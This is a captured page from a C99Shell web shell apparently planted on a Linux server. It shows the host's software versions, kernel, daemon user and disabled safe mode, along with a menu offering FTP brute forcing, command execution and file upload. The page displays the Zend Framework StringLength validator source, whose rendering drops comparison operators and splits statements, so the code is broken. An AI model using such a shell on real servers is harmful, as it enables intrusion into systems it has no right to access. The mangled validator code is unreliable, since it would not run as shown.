!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/zendframework/zend-validator/src/   drwxrwxr-x
Free 15.53 GB of 61.93 GB (25.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     StringLength.php (5.32 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Zend Framework (http://framework.zend.com/)
 *
 * @link      http://github.com/zendframework/zf2 for the canonical source repository
 * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com)
 * @license   http://framework.zend.com/license/new-bsd New BSD License
 */

namespace Zend\Validator;

use 
Zend\Stdlib\StringUtils;
use 
Zend\Stdlib\StringWrapper\StringWrapperInterface as StringWrapper;

class 
StringLength extends AbstractValidator
{
    const 
INVALID   'stringLengthInvalid';
    const 
TOO_SHORT 'stringLengthTooShort';
    const 
TOO_LONG  'stringLengthTooLong';

    
/**
     * @var array
     */
    
protected $messageTemplates = array(
        
self::INVALID   => "Invalid type given. String expected",
        
self::TOO_SHORT => "The input is less than %min% characters long",
        
self::TOO_LONG  => "The input is more than %max% characters long",
    );

    
/**
     * @var array
     */
    
protected $messageVariables = array(
        
'min' => array('options' => 'min'),
        
'max' => array('options' => 'max'),
    );

    protected 
$options = array(
        
'min'      => 0,       // Minimum length
        
'max'      => null,    // Maximum length, null if there is no length limitation
        
'encoding' => 'UTF-8'// Encoding to use
    
);

    protected 
$stringWrapper;

    
/**
     * Sets validator options
     *
     * @param  int|array|\Traversable $options
     */
    
public function __construct($options = array())
    {
        if (!
is_array($options)) {
            
$options     func_get_args();
            
$temp['min'] = array_shift($options);
            if (!empty(
$options)) {
                
$temp['max'] = array_shift($options);
            }

            if (!empty(
$options)) {
                
$temp['encoding'] = array_shift($options);
            }

            
$options $temp;
        }

        
parent::__construct($options);
    }

    
/**
     * Returns the min option
     *
     * @return int
     */
    
public function getMin()
    {
        return 
$this->options['min'];
    }

    
/**
     * Sets the min option
     *
     * @param  int $min
     * @throws Exception\InvalidArgumentException
     * @return StringLength Provides a fluent interface
     */
    
public function setMin($min)
    {
        if (
null !== $this->getMax() && $min $this->getMax()) {
            throw new 
Exception\InvalidArgumentException(
                
"The minimum must be less than or equal to the maximum length, but {$min} > {$this->getMax()}"
            
);
        }

        
$this->options['min'] = max(0, (int) $min);
        return 
$this;
    }

    
/**
     * Returns the max option
     *
     * @return int|null
     */
    
public function getMax()
    {
        return 
$this->options['max'];
    }

    
/**
     * Sets the max option
     *
     * @param  int|null $max
     * @throws Exception\InvalidArgumentException
     * @return StringLength Provides a fluent interface
     */
    
public function setMax($max)
    {
        if (
null === $max) {
            
$this->options['max'] = null;
        } elseif (
$max $this->getMin()) {
            throw new 
Exception\InvalidArgumentException(
                
"The maximum must be greater than or equal to the minimum length, but {$max} < {$this->getMin()}"
            
);
        } else {
            
$this->options['max'] = (int) $max;
        }

        return 
$this;
    }

    
/**
     * Get the string wrapper to detect the string length
     *
     * @return StringWrapper
     */
    
public function getStringWrapper()
    {
        if (!
$this->stringWrapper) {
            
$this->stringWrapper StringUtils::getWrapper($this->getEncoding());
        }
        return 
$this->stringWrapper;
    }

    
/**
     * Set the string wrapper to detect the string length
     *
     * @param StringWrapper $stringWrapper
     * @return StringLength
     */
    
public function setStringWrapper(StringWrapper $stringWrapper)
    {
        
$stringWrapper->setEncoding($this->getEncoding());
        
$this->stringWrapper $stringWrapper;
    }

    
/**
     * Returns the actual encoding
     *
     * @return string
     */
    
public function getEncoding()
    {
        return 
$this->options['encoding'];
    }

    
/**
     * Sets a new encoding to use
     *
     * @param string $encoding
     * @return StringLength
     * @throws Exception\InvalidArgumentException
     */
    
public function setEncoding($encoding)
    {
        
$this->stringWrapper StringUtils::getWrapper($encoding);
        
$this->options['encoding'] = $encoding;
        return 
$this;
    }

    
/**
     * Returns true if and only if the string length of $value is at least the min option and
     * no greater than the max option (when the max option is not null).
     *
     * @param  string $value
     * @return bool
     */
    
public function isValid($value)
    {
        if (!
is_string($value)) {
            
$this->error(self::INVALID);
            return 
false;
        }

        
$this->setValue($value);

        
$length $this->getStringWrapper()->strlen($value);
        if (
$length $this->getMin()) {
            
$this->error(self::TOO_SHORT);
        }

        if (
null !== $this->getMax() && $this->getMax() < $length) {
            
$this->error(self::TOO_LONG);
        }

        if (
count($this->getMessages())) {
            return 
false;
        }

        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2778 ]--